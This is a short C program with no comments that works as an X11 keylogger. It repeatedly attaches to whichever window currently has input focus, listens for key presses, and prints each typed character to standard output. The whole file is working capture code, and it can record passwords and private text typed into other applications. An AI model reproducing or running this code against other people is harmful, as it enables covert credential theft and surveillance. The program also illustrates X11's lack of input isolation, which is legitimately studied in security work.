#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <X11/Xlib.h>
#include <X11/Intrinsic.h>

static Display *dpy;
static Window focuswin = None;

static void attach_to_focuswin(void)
{
  int foo;

  XGetInputFocus(dpy, &focuswin, &foo);
  if (focuswin != None)
    XSelectInput(
      dpy, focuswin,
      KeyPressMask | FocusChangeMask);
  else
    sleep(1);
}

static void handle_event(void)
{
  XEvent ev;
  char buf[100];
  int len;

  XNextEvent(dpy, &ev);
  if (ev.xany.type == FocusOut)
    focuswin = None;
  else if (ev.xany.type == KeyPress)
  {
    len = XLookupString(
      &ev.xkey, buf, 99, 0, 0);
    buf[len] = 0;
    printf("%s", buf);
    fflush(stdout);
  }
}

int main(void)
{
  dpy = XOpenDisplay(getenv("DISPLAY"));
  if (dpy == NULL)
  {
    fprintf(
      stderr, "cannot open display\n");
    exit(1);
  }
  while (1)
  {
    if (focuswin == None)
      attach_to_focuswin();
    else
      handle_event();
  }
}